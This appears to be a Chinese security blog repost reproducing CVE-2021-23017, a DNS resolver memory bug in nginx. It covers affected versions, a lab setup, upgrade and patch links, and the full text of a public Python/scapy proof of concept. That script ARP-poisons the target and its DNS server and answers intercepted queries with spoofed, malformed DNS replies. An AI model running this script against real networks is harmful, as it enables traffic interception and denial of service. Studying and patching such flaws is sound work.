CVE-2021-23017 Nginx DNS解析程序漏洞

admin 2022年7月25日13:54:05评论3,670 views字数 6541阅读21分48秒阅读模式
CVE-2021-23017 Nginx DNS解析程序漏洞

点击上方“蓝字”,关注更多精彩

0x00 漏洞概述

2021年5月26日,Nginx官方发布安全公告,修复了nginx解析器中的一个DNS解析程序漏洞(CVE-2021-23017),由于ngx_resolver_copy()在处理DNS响应时存在错误 ,当nginx配置文件中使用了“ resolver”指令时,未经身份验证的攻击者能够伪造来自DNS服务器的UDP数据包,构造特制的DNS响应导致1字节内存覆盖,从而造成拒绝服务或任意代码执行。请相关用户采取措施进行防护。

0x01 漏洞范围

受影响版本

  • NGINX 0.6.18 - 1.20.0

不受影响版本

  • NGINX Open Source 1.20.1 (stable)
  • NGINX Open Source 1.21.0 (mainline)
  • NGINX Plus R23 P1
  • NGINX Plus R24 P1

0x02 漏洞环境搭建

安装很简单,成功后不知道为什么我这里显示的居然是apache的页面,可能是之前的apache没有删除干净。

#ubuntu18-server
apt install nginx
CVE-2021-23017 Nginx DNS解析程序漏洞

0x03 漏洞复现

https://github.com/M507/CVE-2021-23017-PoC

# Exploit Title: Nginx 1.20.0 - Denial of Service (DOS)
# Date: 2022-6-29
# Exploit Author: Mohammed Alshehri - https://Github.com/M507
# Vendor Homepage: https://nginx.org/
# Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0
# Version: 0.6.18 - 1.20.0
# Tested on: Ubuntu 18.04.4 LTS bionic 
# CVE: CVE-2021-23017
# The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
# python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1
# The service needs to be configured to use Nginx resolver

from scapy.all import *
from multiprocessing import Process
from binascii import hexlify, unhexlify
import argparse, time, os

def device_setup():
    os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
    os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")

def ARPP(target, dns_server):
    print("[*] Sending poisoned ARP packets")
    target_mac = getmacbyip(target)
    dns_server_mac = getmacbyip(dns_server)
    while True:
        time.sleep(2)
        send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
        send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)

def exploit(target):
    print("[*] Listening ")
    sniff (filter="udp and port 53 and host " + target, prn = process_received_packet)

"""
RFC schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE |            QDCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ANCOUNT            |            NSCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ARCOUNT            |               QD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AN              |               NS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Fig. DNS                             

"""

def process_received_packet(received_packet):
    if received_packet[IP].src == target_ip:
        if received_packet.haslayer(DNS):
            if DNSQR in received_packet:
                print("[*] the received packet: " + str(bytes_hex(received_packet)))
                print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
                try:
                    # /    the received DNS request
                    dns_request = received_packet[DNS].build()
                    null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
                    print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
                    print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
                    payload = [
                        dns_request[0:2],
                        b"x81x80x00x01x00x01x00x00x00x00",
                        dns_request[12:null_pointer_index+1],
                        dns_request[null_pointer_index+1:null_pointer_index+3],
                        dns_request[null_pointer_index+3:null_pointer_index+5],
                        b"xC0x0Cx00x05x00x01x00x00x0Ex10",
                        b"x00x0Bx18x41x41x41x41x41x41x41",
                        b"x41x41x41x41x41x41x41x41x41x41",
                        b"x41x41x41x41x41x41x41xC0x04"
                    ]
                    
                    payload = b"".join(payload)
                    spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/
                        UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/
                        payload)
                    print("[+] dns answer: "+str(hexlify(payload)))
                    print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))

                    sendp(spoofed_pkt, count=1)
                    print("n[+] malicious answer was sent")
                    print("[+] exploitedn")
                except:
                    print("n[-] ERROR")

def main():
    global target_ip
    parser = argparse.ArgumentParser()
    parser.add_argument("-t""--target", help="IP address of the target")
    parser.add_argument("-r""--dns_server", help="IP address of the DNS server used by the target")
    args = parser.parse_args()
    target_ip = args.target
    dns_server_ip = args.dns_server
    device_setup()
    processes_list = []
    ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
    exploitProcess = Process(target=exploit,args=(target_ip,))
    processes_list.append(ARPPProcess)
    processes_list.append(exploitProcess)
    for process in processes_list:
        process.start()
    for process in processes_list:
        process.join()

if __name__ == '__main__':
    target_ip = ""
    main()

先来访问一下这个网站,可能是我这边之前安装过apache的原因,默认显示就是apache页面,不过其实本质上是nginx,忽略这个bug

正常访问时可以看到速度非常快,246毫秒。

CVE-2021-23017 Nginx DNS解析程序漏洞

上述代码复制粘贴到一个python文件中,然后python3 nginx.py -t http://x.x.x.x,能看到网页加载速度变得很慢,

CVE-2021-23017 Nginx DNS解析程序漏洞

时间越长,拒绝时间就越长

CVE-2021-23017 Nginx DNS解析程序漏洞
CVE-2021-23017 Nginx DNS解析程序漏洞

同时ubuntu机器如果配置不高的话本身都会变得很卡很卡。

如果使用python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1类似这样的命令,指定dns服务器,会让目标直接显示502。

CVE-2021-23017 Nginx DNS解析程序漏洞

0x04 漏洞防护

官方升级

目前官方已在最新版本中修复了该漏洞,请受影响的用户尽快升级版本进行防护,官方下载链接:

http://nginx.org/en/download.html

其他防护措施

若相关用户暂时无法升级nginx至新版本,也可安装补丁进行修复:

http://nginx.org/download/patch.2021.resolver.txt


CVE-2021-23017 Nginx DNS解析程序漏洞

往期推荐

实战经验 | 解决ssh链接VPS掉线问题

内网渗透 | 文件共享服务与ipc横向详解

内网渗透 | JS脚本下载payload与代码分析

内网渗透 | 内网隐藏技术之我见

红队建设 | 入侵痕迹抹除

红队建设 | 网络钓鱼技术

红队建设 |  流量加密

红队建设 | certutil详解

每日技巧05 | VM16安装macOS

Clash RCE漏洞复现与高级利用(配合社工)

CVE-2021-4034 Linux Polkit本地提权漏洞

CVE-2021-31760 Webmin CSRF致使RCE

CVE-2022-22965 Spring core RCE漏洞

          CVE-2020-1472 ZeroLogon漏洞复现利用(Netlogon域提权)

郑重声明该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。

CVE-2021-23017 Nginx DNS解析程序漏洞
CVE-2021-23017 Nginx DNS解析程序漏洞
扫码关注
人若无名便可潜心练剑
专注渗透测试、工具开发

原文始发于微信公众号(HACK技术沉淀营):CVE-2021-23017 Nginx DNS解析程序漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月25日13:54:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-23017 Nginx DNS解析程序漏洞https://cn-sec.com/archives/1198362.html

发表评论

匿名网友 填写信息